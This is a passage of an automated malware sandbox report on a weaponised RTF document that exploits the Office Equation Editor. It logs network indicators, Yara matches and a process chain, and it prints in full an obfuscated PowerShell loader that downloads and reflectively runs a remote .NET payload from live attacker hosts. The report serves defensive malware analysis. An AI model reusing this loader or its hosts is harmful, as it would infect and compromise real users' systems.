Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: unknown TCP traffic detected without corresponding DNS query: 192.3.220.20
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{CE855C3E-50BE-4A15-8784-7DABB9819277}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt HTTP/1.1Host: raw.githubusercontent.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /100/newprojectwithnewthingstobecome.tIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.220.20Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /100/RRFGV.txt HTTP/1.1Host: 192.3.220.20Connection: Keep-Alive
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)
Source: global traffic DNS traffic detected: DNS query: raw.githubusercontent.com
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 05 Oct 2024 12:49:50 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 298Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 33 2e 32 32 30 2e 32 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 192.3.220.20 Port 80</address></body></html>
Source: powershell.exe, 00000008.00000002.380604266.00000000025D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20
Source: powershell.exe, 00000008.00000002.380604266.00000000025D7000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/RRFGV.txt
Source: EQNEDT32.EXE, EQNEDT32.EXE, 00000002.00000002.364639582.00000000002AF000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.364052358.0000000000319000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.364033598.00000000002FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/newprojectwithnewthingstobecome.tIF
Source: EQNEDT32.EXE, 00000002.00000003.364052358.0000000000319000.00000004.00000020.00020000.00000000.sdmp, EQNEDT32.EXE, 00000002.00000003.364033598.00000000002FB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/newprojectwithnewthingstobecome.tIFC:
Source: EQNEDT32.EXE, 00000002.00000002.364639582.00000000002A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/newprojectwithnewthingstobecome.tIFf
Source: EQNEDT32.EXE, 00000002.00000002.364639582.00000000002AF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/newprojectwithnewthingstobecome.tIFj
Source: EQNEDT32.EXE, 00000002.00000002.364639582.00000000002A4000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://192.3.220.20/100/newprojectwithnewthingstobecome.tIFv
Source: powershell.exe, 00000008.00000002.385304370.0000000005007000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000008.00000002.385304370.0000000005007000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000008.00000002.380604266.00000000029F3000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://go.micros
Source: powershell.exe, 00000008.00000002.380078753.000000000041A000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://go.microsoft.c
Source: powershell.exe, 00000008.00000002.382187322.0000000003369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.386921260.0000000002367000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.380604266.0000000002341000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000008.00000002.382187322.0000000003369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.382187322.0000000003369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.382187322.0000000003369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.382187322.0000000003369000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000008.00000002.380604266.000000000247A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com
Source: powershell.exe, 00000008.00000002.380604266.000000000247A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.385304370.0000000004F90000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txt
Source: powershell.exe, 00000008.00000002.380604266.000000000247A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://raw.githubusercontent.com/NoDetectOn/NoDetectOn/refs/heads/main/DetahNoth-V.txtgzJ;
Source: powershell.exe, 00000008.00000002.385304370.0000000004FDF000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: unknown Network traffic detected: HTTP traffic on port 49164 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49164

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: IpEmBW3Qw5.rtf, type: SAMPLE Matched rule: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents. Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 3652, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPED Matched rule: detects CVE-2017-8759 weaponized RTF documents. Author: ditekSHen
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\SysWOW64\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}\ProgID Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Memory allocated: 770B0000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Memory allocated: 770B0000 page execute and read and write Jump to behavior
Detected potential crypto function
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B423B 2_2_002B423B
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B9718 2_2_002B9718
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B7B10 2_2_002B7B10
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002BBDFC 2_2_002BBDFC
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Code function: 2_2_002B7ACC 2_2_002B7ACC
Document misses a certain OLE stream usually present in this Microsoft Office document type
Source: ~WRF{D2609696-E762-447B-A02C-A86155954B70}.tmp.0.dr OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false
Yara signature match
Source: IpEmBW3Qw5.rtf, type: SAMPLE Matched rule: INDICATOR_RTF_MalVer_Objects author = ditekSHen, description = Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents.
Source: Process Memory Space: powershell.exe PID: 3548, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3652, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: C:\Users\user\Desktop\~WRD0000.tmp, type: DROPPED Matched rule: INDICATOR_RTF_EXPLOIT_CVE_2017_8759_2 author = ditekSHen, description = detects CVE-2017-8759 weaponized RTF documents.
Source: classification engine Classification label: mal100.expl.evad.winRTF@8/18@1/2
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\Desktop\~$EmBW3Qw5.rtf Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Temp\CVR82E5.tmp Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\newprojectwithnewthingstobecom.vBS"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................<:.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................H:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................e.r.r.o.r.:. .(.4.0.4.). .N.o.t. .F.o.u.n.d..."....................s............8.......0....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.............................f:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.2.9.8.....x:.........................s............8.......$....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............................................ Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................:.........................s....................T....................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P..............................;.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ................................ .......(.P.....................@........;.........................s............8............................... Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Console Write: ........................................(.P.....................@.......#;.........................s............8............................... Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe File read: C:\Windows\System32\drivers\etc\hosts Jump to behavior
Source: IpEmBW3Qw5.rtf ReversingLabs: Detection: 50%
Source: IpEmBW3Qw5.rtf Virustotal: Detection: 63%
Source: unknown Process created: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE "C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\newprojectwithnewthingstobecom.vBS"
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:comspEc[4,15,25]-jOIN'') (('Ibpu'+'rl'+' = gzJhttps:'+'//'+'raw.'+'githubuser'+'cont'+'ent.com/NoDetec'+'t'+'On/NoD'+'etectO'+'n'+'/re'+'fs'+'/he'+'ads/m'+'ai'+'n/'+'De'+'tahNot'+'h-V.'+'tx'+'tg'+'zJ; Ib'+'pbase64'+'Con'+'tent ='+' (New'+'-'+'Obj'+'ect S'+'yst'+'em.Net'+'.Web'+'Client).Down'+'lo'+'adS'+'trin'+'g'+'(Ibpurl'+'); Ibpbinary'+'Content = '+'['+'Sy'+'stem.Convert]::Fro'+'mB'+'ase64'+'Strin'+'g(Ibpb'+'a'+'se64Co'+'ntent'+'); Ibpassembl'+'y = '+'[R'+'e'+'fl'+'ection'+'.Assembly]'+'::Load(Ibpbinary'+'C'+'o'+'ntent); [dnlib.IO.Home]:'+':VAI(p7jtxt.VG'+'FRR/001/02'+'.022.3.29'+'1'+'//'+':ptthp'+'7j,'+' p7'+'jdesativadop7j, p'+'7jde'+'sativ'+'adop7j,'+' p7'+'jdesativado'+'p7j'+', p7jRegAsm'+'p7j'+', p7'+'jp7j,p7'+'jp7j)').ReplaCe('gzJ',[STRIng][ChaR]39).ReplaCe('p7j',[STRIng][ChaR]34).ReplaCe('Ibp','$') )"
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Windows\SysWOW64\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\newprojectwithnewthingstobecom.vBS" Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRFTlY6Y29tc3BFY1s0LDE1LDI1XS1qT0lOJycpICgoJ0licHUnKydybCcrJyA9IGd6Smh0dHBzOicrJy8vJysncmF3LicrJ2dpdGh1YnVzZXInKydjb250JysnZW50LmNvbS9Ob0RldGVjJysndCcrJ09uL05vRCcrJ2V0ZWN0TycrJ24nKycvcmUnKydmcycrJy9oZScrJ2Fkcy9tJysnYWknKyduLycrJ0RlJysndGFoTm90JysnaC1WLicrJ3R4JysndGcnKyd6SjsgSWInKydwYmFzZTY0JysnQ29uJysndGVudCA9JysnIChOZXcnKyctJysnT2JqJysnZWN0IFMnKyd5c3QnKydlbS5OZXQnKycuV2ViJysnQ2xpZW50KS5Eb3duJysnbG8nKydhZFMnKyd0cmluJysnZycrJyhJYnB1cmwnKycpOyBJYnBiaW5hcnknKydDb250ZW50ID0gJysnWycrJ1N5Jysnc3RlbS5Db252ZXJ0XTo6RnJvJysnbUInKydhc2U2NCcrJ1N0cmluJysnZyhJYnBiJysnYScrJ3NlNjRDbycrJ250ZW50JysnKTsgSWJwYXNzZW1ibCcrJ3kgPSAnKydbUicrJ2UnKydmbCcrJ2VjdGlvbicrJy5Bc3NlbWJseV0nKyc6OkxvYWQoSWJwYmluYXJ5JysnQycrJ28nKydudGVudCk7IFtkbmxpYi5JTy5Ib21lXTonKyc6VkFJKHA3anR4dC5WRycrJ0ZSUi8wMDEvMDInKycuMDIyLjMuMjknKycxJysnLy8nKyc6cHR0aHAnKyc3aiwnKycgcDcnKydqZGVzYXRpdmFkb3A3aiwgcCcrJzdqZGUnKydzYXRpdicrJ2Fkb3A3aiwnKycgcDcnKydqZGVzYXRpdmFkbycrJ3A3aicrJywgcDdqUmVnQXNtJysncDdqJysnLCBwNycrJ2pwN2oscDcnKydqcDdqKScpLlJlcGxhQ2UoJ2d6SicsW1NUUkluZ11bQ2hhUl0zOSkuUmVwbGFDZSgncDdqJyxbU1RSSW5nXVtDaGFSXTM0KS5SZXBsYUNlKCdJYnAnLCckJykgKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD Jump to behavior
